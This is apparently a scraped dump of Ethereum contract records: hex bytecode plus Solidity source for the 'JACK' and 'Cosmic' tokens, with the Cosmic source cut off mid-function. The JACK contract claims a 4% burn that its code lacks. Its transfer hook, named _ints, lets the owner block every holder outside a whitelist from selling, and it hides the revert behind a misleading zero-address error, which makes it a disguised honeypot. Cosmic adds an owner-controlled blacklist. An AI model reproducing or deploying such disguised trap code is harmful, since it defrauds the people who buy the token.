ffff610e9416565b600160a060020a038088166000908152600a602090815260408083203390941683529290529081209190915582111561077c57600454600160a060020a031660009081526008602052604090205461071b908363ffffffff610ea616565b60048054600160a060020a03908116600090815260086020908152604091829020949094559154825186815292519082169333909216927f63641fd2aeafea4143cc44c28ca8af48dde6326ee1be502b0222b4f92dfae28392908290030190a35b84600160a060020a031686600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a350600195945050505050565b60045460009033600160a060020a039081169116146107f157600080fd5b600160a060020a03831660009081526008602052604090205482111561081657600080fd5b6000821161082357600080fd5b600160a060020a03831660009081526008602052604090205461084c908363ffffffff610e9416565b600160a060020a038416600090815260086020908152604080832093909355600990522054610881908363ffffffff610ea616565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e092918290030190a250600192915050565b60025481565b60065481565b60045460009033600160a060020a0390811691161461090657600080fd5b600454604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610940573d6000803e3d6000fd5b50604080518381529051600160a060020a033316917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a25060015b919050565b60045460009033600160a060020a039081169116146109a757600080fd5b600454600160a060020a0316ff5b60045460009033600160a060020a039081169116146109d357600080fd5b60148411156109e157600080fd5b60328311156109ef57600080fd5b60328211156109fd57600080fd5b81831115610a0a57600080fd5b6005849055600254610a26908490600a0a63ffffffff610ec016565b600755600254610a40908390600a0a63ffffffff610ec016565b6006819055600554600754604080519283526020830191909152818101929092529051600160a060020a033316917f2e777093ce306255d6a4f5f39c45cc95afed04398dbd77ab1e5e0dd3b885c942919081900360600190a25060019392505050565b60086020526000908152604090205481565b60045460009033600160a060020a03908116911614610ad357600080fd5b600160a060020a038316600090815260096020526040902054821115610af857600080fd5b60008211610b0557600080fd5b600160a060020a038316600090815260096020526040902054610b2e908363ffffffff610e9416565b600160a060020a038416600090815260096020908152604080832093909355600890522054610b63908363ffffffff610ea616565b600160a060020a038416600081815260086020908152604091829020939093558051858152905191927f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f92918290030190a250600192915050565b600454600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561045b5780601f106104305761010080835404028352916020019161045b565b60008080600160a060020a0385161515610c4057600080fd5b610c4984610e48565b9150818411610c5757600080fd5b610c67848363ffffffff610e9416565b600160a060020a0333166000908152600860205260409020549091508411801590610c925750600084115b8015610cb75750600160a060020a038516600090815260086020526040902054818101115b1515610cc257600080fd5b600160a060020a033316600090815260086020526040902054610ceb908563ffffffff610e9416565b600160a060020a033381166000908152600860205260408082209390935590871681522054610d20908263ffffffff610ea616565b600160a060020a038616600090815260086020526040812091909155821115610dcf57600454600160a060020a0316600090815260086020526040902054610d6e908363ffffffff610ea616565b60048054600160a060020a03908116600090815260086020908152604091829020949094559154825186815292519082169333909216927f63641fd2aeafea4143cc44c28ca8af48dde6326ee1be502b0222b4f92dfae28392908290030190a35b84600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3506001949350505050565b600a60209081526000928352604080842090915290825290205481565b60055481565b6000610e71612710610e6560055485610ec090919063ffffffff16565b9063ffffffff610eeb16565b9050600654811115610e8257506006545b60075481101561098457505060075490565b600082821115610ea057fe5b50900390565b600082820183811015610eb557fe5b8091505b5092915050565b600080831515610ed35760009150610eb9565b50828202828482811515610ee357fe5b0414610eb557fe5b6000808284811515610ef957fe5b049493505050505600a165627a7a723058201eeafc4ccb3892a9aef0c21b8c35c1d657896a4df4d2f2ac3b20a5b5bd5b3b240029
[ 38 ]
0xf374d6b77a633e37c6705c36f6e0ed79ac24c2e9
/** .---. _..._ | | .-'_..._''. '---' .' .' '.\ . .---. / .' .'| | | . ' .' | | | __ | | < | | | .:--.'. | | | | ____ | |/ | \ |. ' | | \ .' | |`" __ | | \ '. .| |/ . | | .'.''| | '. `._____.-'/| /\ \ __.' '/ / | |_ `-.______ / | | \ \ | ' \ \._,\ '/ ` ' \ \ \ |____.' `--' `" '------' '---' Total Supply: 500 JACK 4% burn each transaction. */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e235fec37aa1b4d27fd53893a10fb6a33de866b7e19d23a28ec54dbca47702cb64736f6c63430006060033
[ 38 ]
0xf374e7f6232d7195cd2225549391255b2af1d741
/** ,ad8888ba, 88 d8"' `"8b "" d8' 88 ,adPPYba, ,adPPYba, 88,dPYba,,adPYba, 88 ,adPPYba, 88 a8" "8a I8[ "" 88P' "88" "8a 88 a8" "" Y8, 8b d8 `"Y8ba, 88 88 88 88 8b Y8a. .a8P "8a, ,a8" aa ]8I 88 88 88 88 "8a, ,aa `"Y8888Y"' `"YbbdP"' `"YbbdP"' 88 88 88 88 `"Ybbd8"' A Cosmic Ordering beginning makes a wealthy ending. */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Cosmic is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cosmic"; string private constant _symbol = "Cosmic"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xEEF26f6866a8f9e6062ffaf33C467B9f1A310afC); _feeAddrWallet2 = payable(0xEEF26f6866a8f9e6062ffaf33C467B9f1A310afC); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xEEF26f6866a8f9e6062ffaf33C467B9f1A310afC), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 4; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 4; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); 